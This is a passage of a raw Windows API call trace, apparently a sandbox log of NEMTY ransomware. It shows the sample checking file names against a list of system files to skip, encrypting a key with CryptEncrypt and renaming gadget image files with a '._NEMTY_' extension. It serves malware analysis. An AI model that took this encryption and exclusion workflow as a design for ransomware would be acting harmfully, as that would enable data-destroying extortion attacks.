pszString="oPOY779o6/pj2oRRolWj/ZuXo73JQH3Pg1htx8dtduKuhdIf39TM8F6286M78P4r\r\n9IKhZwXFsGbEgZHgyw+9QmmjMksiDT6D3/Tb6bdJgz7QAYavCvv1L43GXyrhNLr/\r\n1kPTHBrkFD8bkFxhvtAjf8LpB0HmQeICEQPl3UUOEsQOMlUlcqjc8fV47pF4ctpC\r\njDu66ZcSgUWyXwRHz47Ok5gF4h+RxQNGl6D7PWVbD54YDeYclG4NTSRLGVSnCCsI\r\nVDj19tOgYLvz+eOhwjQFDOdeHL4pj+KgRM+0QGygioQoCjLDbVD0EcPGa5xk8+oQ\r\nAay0CeLpOuxIdivVjlgqeQ==\r\n", pcchString=0x653e91c) returned 1 [0114.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0114.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0114.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0114.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0114.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340330 [0114.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0114.721] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\cronometer_h.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\cronometer_h.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0114.722] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0114.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0114.722] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.722] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.731] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.731] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.731] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.731] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.740] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.740] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.740] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.740] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.750] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.750] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.750] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.750] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.759] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.759] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.759] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.759] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.773] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.773] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.773] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.774] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.783] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.783] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.783] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.783] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.792] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.792] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.792] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.792] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.802] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.802] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.802] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.802] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.811] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.811] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.811] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.811] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.820] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.820] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.820] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.820] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.826] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.826] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.826] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.826] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.833] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.833] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.833] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.833] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340330, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0114.833] CloseHandle (hObject=0xffffffff) returned 0 [0114.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a0 [0114.833] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0114.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0114.833] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0114.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0114.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0114.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0114.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344090 [0114.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0114.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0114.833] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\cronometer_h.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\cronometer_h.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\cronometer_h.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\cronometer_h.png._nemty_kgobjgd_")) returned 0 [0114.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0114.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a0 | out: hHeap=0x4f90000) returned 1 [0114.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0114.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0114.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0114.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0114.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0114.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0114.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0114.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0114.833] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828aebfb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x828aebfb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x285f8327, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1b2, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="cronometer_m.png", cAlternateFileName="")) returned 1 [0114.834] lstrcmpiW (lpString1="cronometer_m.png", lpString2=".") returned 1 [0114.834] lstrcmpiW (lpString1="cronometer_m.png", lpString2="..") returned 1 [0114.834] lstrcmpiW (lpString1="cronometer_m.png", lpString2="...") returned 1 [0114.834] lstrcmpiW (lpString1="cronometer_m.png", lpString2="windows") returned -1 [0114.834] lstrcmpiW (lpString1="cronometer_m.png", lpString2="$RECYCLE.BIN") returned 1 [0114.834] lstrcmpiW (lpString1="cronometer_m.png", lpString2="rsa") returned -1 [0114.834] lstrcmpiW (lpString1="cronometer_m.png", lpString2="NTDETECT.COM") returned -1 [0114.834] lstrcmpiW (lpString1="cronometer_m.png", lpString2="ntldr") returned -1 [0114.834] lstrcmpiW (lpString1="cronometer_m.png", lpString2="MSDOS.SYS") returned -1 [0114.834] lstrcmpiW (lpString1="cronometer_m.png", lpString2="IO.SYS") returned -1 [0114.834] lstrcmpiW (lpString1="cronometer_m.png", lpString2="boot.ini") returned 1 [0114.834] lstrcmpiW (lpString1="cronometer_m.png", lpString2="boot.ini") returned 1 [0114.834] lstrcmpiW (lpString1="cronometer_m.png", lpString2="AUTOEXEC.BAT") returned 1 [0114.834] lstrcmpiW (lpString1="cronometer_m.png", lpString2="ntuser.dat") returned -1 [0114.834] lstrcmpiW (lpString1="cronometer_m.png", lpString2="desktop.ini") returned -1 [0114.834] lstrcmpiW (lpString1="cronometer_m.png", lpString2="CONFIG.SYS") returned 1 [0114.834] lstrcmpiW (lpString1="cronometer_m.png", lpString2="RECYCLER") returned -1 [0114.834] lstrcmpiW (lpString1="cronometer_m.png", lpString2="BOOTSECT.BAK") returned 1 [0114.834] lstrcmpiW (lpString1="cronometer_m.png", lpString2="bootmgr") returned 1 [0114.834] lstrcmpiW (lpString1="cronometer_m.png", lpString2="programdata") returned -1 [0114.834] lstrcmpiW (lpString1="cronometer_m.png", lpString2="appdata") returned 1 [0114.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0114.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer_m.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0114.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0114.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer_m.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cronometer_m.png", lpUsedDefaultChar=0x0) returned 16 [0114.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0114.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0114.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer_m.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0114.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0114.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer_m.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cronometer_m.png", lpUsedDefaultChar=0x0) returned 16 [0114.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0114.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0114.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0114.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0114.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer_m.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0114.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0114.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer_m.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cronometer_m.png", lpUsedDefaultChar=0x0) returned 16 [0114.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0114.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0114.835] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer_m.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0114.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0114.835] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer_m.png", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cronometer_m.png", lpUsedDefaultChar=0x0) returned 16 [0114.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0114.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340288 [0114.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0114.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0114.835] Sleep (dwMilliseconds=0x5) [0114.845] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf8198f70, dwHighDateTime=0x1d561e7)) [0114.845] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf8198f70, dwHighDateTime=0x1d561e7)) [0114.845] GetLastError () returned 0x5 [0114.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0114.845] GetLastError () returned 0x5 [0114.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0114.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0114.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0114.845] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0114.845] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0114.845] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0114.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340330 [0114.845] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340330, pcchString=0x653e91c | out: pszString="A3m8Z+gCMGoLIYGh44BPMub6892p5mFgrKW7NdNm2tQ+ffQViZgla1TuIr/WwxvH\r\nNVJNtNtMr9++uT9ecwm/MnViZjgXaA8biE74bnb0j6+0VKPfKtW25m7aaCnwUllY\r\nl5LDchA27FSjJVluIVimiiDzpdtcNIK8nAMuLRFDs5x2hpwFrW98cB1lxhQM7HtD\r\nc168PoTQG5BmPe6oTW+ECkvfh0+f7qb03wF3l1fvVjYXFevsg2lpsXinMDN/pSME\r\nL5OLhn+6t2WkHEIw8HDAfxICnK+yUw1zHLnvNaWjuEbhiAKPEXzu7S58RD3gQ8NK\r\n9oBiUCH/0zdxmj1t4awVHQ==\r\n", pcchString=0x653e91c) returned 1 [0114.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0114.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0114.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0114.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0114.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340330 [0114.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0114.846] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\cronometer_m.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\cronometer_m.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0114.846] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0114.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0114.846] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.846] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.855] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.855] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, 